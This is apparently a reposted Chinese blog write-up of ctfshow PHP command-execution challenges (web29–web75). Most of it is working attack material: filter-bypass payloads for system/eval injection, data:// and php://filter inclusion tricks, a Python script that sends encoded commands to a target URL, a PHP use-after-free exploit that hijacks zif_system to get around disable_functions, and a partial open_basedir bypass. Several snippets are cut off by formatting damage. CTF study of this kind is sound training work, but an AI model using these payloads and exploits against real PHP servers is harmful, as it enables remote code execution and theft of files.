php中如何进行ctfshow命令执行

这期内容当中小编将会给大家带来有关php中如何进行ctfshow命令执行,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

成都服务器托管,创新互联建站提供包括服务器租用、服务器机柜租用、带宽租用、云主机、机柜租用、主机租用托管、CDN网站加速、域名申请等业务的一体化完整服务。电话咨询:18980820575

web29~过滤关键字

命令执行,需要严格的过滤

源码:

  • preg_match — 执行匹配正则表达式

题目限制了不能出现flag.

构造?c=system(ls);页面回显:

flag.php index.php

绕过 flag ,通配符绕过。

linux 中有一些通配符。

*代表任意字符 0个或多个

?代表任意字符 1 个

[abcd]匹配abcd中一个字符

[a-z]匹配范围 a-z

还可以这样绕过

fla\g.php
fla''g.php

payload :

?c=system('cat *');
?c=system('cat fl?g.php');
?c=system('cat f[a-z]ag.php');

执行 payload 后源代码中有显示。

另一种解法:

  • eval — 把字符串作为PHP代码执行

php中如何进行ctfshow命令执行

传入?c=echo "hello";?>看到有flag.php ,利用文件包含。

构造:

?c=echo "hello";?>

得到一串base64 字符串,解码得到

web30~增加命令执行函数

命令执行,需要严格的过滤

代码:

在上一题的基础上增加了过滤。flagsystemphp

但是我们依然可以用到其他函数进行代替。

system()
passthru()    # passthru — 执行外部程序并且显示原始输出
exec()        # exec — 执行一个外部程序  
shell_exec()  # shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示

?c=echo passthru("cat f*");
?c=echo `cat f*`;

或者

?c=echo "hello"; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php

题目wp:

echo `nl fl''ag.p''hp`;

web31~过滤cat,空格

命令执行,需要严格的过滤

源码:

1. cat被过滤

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep  在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file
paste  指令会把每个文件以列对列的方式,一列列地加以合并。

2. 空格被过滤·

{$IFS}   $IFS$9
> < <> 重定向符
%09(需要php环境)
{cat,flag.php} //用逗号实现了空格功能
%20  
https://blog.csdn.net/whuslei/article/details/7187639

payload:

?c=echo(`tac%09f*`);

解法二:

?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php

官方

show_source(next(array_reverse(scandir(pos(localeconv())))));

web32~文件包含绕过

又增加过滤了 反引号、括号,echo。

文件包含绕过

include
require
include_once
require_once

payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33~文件包含绕过

源码:

多过滤了一个双引号,

直接用上一题的 payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34~文件包含绕过

源码:

过滤多了一个冒号,也是上一关payload 。

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35~文件包含绕过

多过滤了<=。没啥用,直接打

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36~文件包含绕过

多过滤了数字,继续打。

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37~data协议

过滤了flag ,又是 include 文件包含

利用伪协议读flag

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

payload:

/?c=data://text/plain,

web38~data协议

同样使用data协议。

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=

web39~data协议

payload:

?c=data://text/plain,

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

web40~无参数读文件

|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了引号、$、冒号,还不能用伪协议。

一般括号里参数都要用引号,这里学习一下无参数RCE(remote command/code execute)。

无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数。

详情看这里:

payload:

c=readfile(next(array_reverse(scandir(getcwd()))));

# 多刷新几次
c=readfile(array_rand(array_flip(scandir(getcwd()))));
readfile(array_rand(array_flip(scandir(current(localeconve())))));

wp:
c=session_start();system(session_id());
passid=ls

web41~异或绕过

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。生成可用字符的集-合

=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符传递参数getflag用法python exp.py

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py ')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

https://blog.csdn.net/miuzzx/article/details/108569080

web42~
/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

payload:

c=ls;
c=cat flag.php;

web43~
/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤分号和cat使用 换行符%0a

?c=ls%0a
?c=tac flag.php%0a

说一下为啥system()函数要用的分号或者截断,因为不用的话输入的语句就和后边的>/dev/null 2>&1拼接起来了。最后不关输入啥都会把结果输出到/dev/null

详情看这里: https://www.cnblogs.com/520playboy/p/6275022.html

web44~>/dev/null过滤; cat flag

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤;catflag

结合前面的,直接:

?c=tac f*%0a

web45~>/dev/null多过滤空格

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了个空格。

payload:

?c=tac%09f*%0a

?c=tac$IFS\f*%0A
# 这里 f 前面不加 反斜杠的话就出不来,可能是会被前面的解析到一起吧。
?c=more${IFS}f*%0a

IFS: https://www.xuebuyuan.com/3197835.html

web46~多过滤数字 $ *

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了数字、$ 、*

意味着不能用shell中变量了。

payload:

?c=tac%09fla?.php%0a

nl

web47~多过滤读取函数

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了 more 、less 、 head 、sort 、tail 。

但是 tac 、od 、uniq 等没被过滤

od 读文件 https://www.cnblogs.com/wfwenchao/p/5188720.html

payload:

?c=tac%09fla?.php%0a

?c=nl%09fla?.php%0a

?c=nl

web48~多过滤函数

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了一些读取函数。

payload:

?c=tac%09fla?.php%0a

?c=tac

web49~多过滤反引号

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤反引号。

payload 同上关一样。

web50~多过滤% x09 x26

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤%0926

?c=tacfla\g.php%0a

web51~多过滤tac

/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

这回额外过滤了tac,但是我们还可以用nl

?c=nl

web52~多过滤重定向符但没过滤 $

|\/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

额外过滤了 重定向符<  >,但是这里没过滤$

去查?c=nl${IFS}fla\g.php%0a得到$flag="flag_here";得到了一个假的flag.

查询根目录有啥文件

?c=ls${IFS}/%0a
# bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var 

?c=nl${IFS}/fla''g%0a

web53

|\".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

也没多过滤啥。。

?c=ls%0a得到

ls flag.php index.php readflag
readflag

payload:

?c=ls%0a
?c=nl

web54~/bin/?at 绕过

|\

多过滤了一些查看文件指令。

payload:

?c=paste${IFS}fla?.php%0a

?c=/bin/?at${IFS}f?ag.php%0a

?c=/bin/?at${IFS}f???????

web55~过滤所有小写字母

|\

直接过滤了所有小写字母!!!。

那么这里肯定是要无字符 rce 。

但是这里没有过滤通配符,所以可以找到一个带有数字的命令,利用通配符执行命令。

  1. base64的使用

    有个命令是/bin/base64,我们可以据此构造

    ?c=/???/????64 ????????

    得到

    PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMg QERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhh DQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBo MXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxh Zz0iZmxhZ3tlYTY0MTJlZi03NGY3LTQ1ZjItYWJiYS05M2Y2ODZkOTkwZDh9Ijs=

    解码即得到flag.

  2. bzip2

    bzip2 是 linux 下面的压缩文件的命令。在/usr/bin/bzip2

    构造

    ?C=/???/???/????2 ????????

    然后访问flag.php.bz2下载即可获得 flag.php

  3. 临时文件上传

    https://www.gem-love.com/websecurity/1407.html

    https://blog.csdn.net/qq_46091464/article/details/108557067

web56~临时文件

|\

多过滤数字,所以用不了上题的前两种方法。这里只能详细写一下上题的第三种方法了。

我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)注意:通过.去执行sh命令不需要有执行权限

我们需要构造一个post上传文件的数据包。



POST数据包POC



文件名:

抓包,构造?c=.+/???/????????[@-[]

php中如何进行ctfshow命令执行

web57~构造数字

|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

这里只需要构造 传参 36 即可,但是数字字符都被ban了。

paylaod

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

linux echo 一下是 36.

web58~readfile读取

post构造c=system('ls');结果

Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

system 函数被 ban了

Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

构造c=print_r(scandir('.'));.得到

Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

payload:

c=readfile('flag.php');

web59~show_source读取

同上关但是,

Warning: readfile() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

尝试其他读取文件函数

c=show_source('flag.php');

web60-65~show_source读取

payload:

同58一样

web66~highlight_file读取

用以前方法

Warning: show_source() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

c=highlight_file('flag.php');结果

$flag="秀秀得了,这次不在这里";

c=print_r(scandir('/'));返回

Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )

有个flag.txt ,构造 payload:

c=highlight_file('/flag.txt');

web67~var_dump打印

找目录,发现

Warning: print_r() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

c=var_dump(scandir('.'));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }

c=highlight_file('flag.php');又是假的。

最终

c=highlight_file('/flag.txt');

web68~include读取

打开题目直接

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

说明highlight_file函数被禁用了。

c=var_dump(scandir('/'));得到

array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }

有个flag.txt

readfileshow_sourcehighlight_file被禁用了.

读取不了,但是我们还可以直接文件包含。

payload:

c=include('/flag.txt');

web69~var_export打印

同样是

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

var_dump 也被禁用

Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
  • var_export — 输出或返回一个变量的字符串表示

c=var_export(scandir('/'));得到

array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

payload:

c=var_export(scandir('/'));`
c=include('/flag.txt');

web70~var_export+include

直接:

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?

payload:

c=var_export(scandir('/'));
c=include('/flag.txt');

web71~exit(0); 绕过后边代码

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

c=var_export(scandir('/'));得到

???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ????? ( ? => '.', ? => '..', ? => '.?????????', ? => '???', ? => '???', ? => '???', ? => '????.???', ? => '????', ? => '???', ? => '?????', ?? => '???', ?? => '???', ?? => '????', ?? => '????', ?? => '???', ?? => '????', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ) 你要上天吗?

......发现有个附件,下载打开:



你要上天吗?

代码把输出的字母数字都转换为问号?.

我们可以是服务端执行完我们的恶意 payload 后就停止运行 php 程序。

所以可以c=var_export(scandir('/'));exit(0);使得后边的代码停止执行,从而不会被正则替换。

payload:

c=var_export(scandir('/'));exit(0);
c=include('/flag.txt');exit(0);

web72~open_basedir

下载附件:



你要上天吗?

执行c=include('flag.php');exit(0);没内容打印。

有进行读取根目录文件,但是被 open_basedir限制.

进行绕过。

c=$it=newDirectoryIterator("glob:///*");foreach($itas$f) {echo$f->getFilename()."\n";}die();

得到根目录文件

bin dev etc flag0.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

flag0.txt.

Warning: include(): Failed opening '/flag0.txt' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php(19) : eval()'d code on line 1

exp:

a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    function my_str_repeat($a,$b){
        $s = '';
        for($i = 0; $i <= $b;$i++){
            $s.=$a;
        }  
        return $s;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(my_str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(my_str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}
exit();

https://www.m00nback.xyz/2020/02/17/ctfshow%E9%83%A8%E5%88%86%E9%A2%98%E7%9B%AEwriteup/

https://www.jb51.net/article/141767.htm

但是我打不出来。。。。。

web73

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

c=var_export(scandir('/'));die();得到

array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flagc.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

payload:

c=include('/flagc.txt');die();

web74~glob协议

c=var_export(scandir('/'));die();结果输出NULL.

glob 协议读取:

c=$it=newDirectoryIterator("glob:///*");foreach($itas$f) {echo$f->getFilename()."\n";}die();

得到flag:

c=include('/flagx.txt');die();

web75~不太行

glob://协议读文件名flag36.txt

c=$it = new DirectoryIterator("glob:///*");foreach($it as $f) {echo$f->getFilename()."\n";}die();

接下来就是懵逼时刻了。

p牛的bypass open_basedir脚本:

 0; $i--) { 
    chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { 
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) { 
    chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get             
            
                            
分享标题:php中如何进行ctfshow命令执行
文章来源:http://myzitong.com/article/ppehcj.html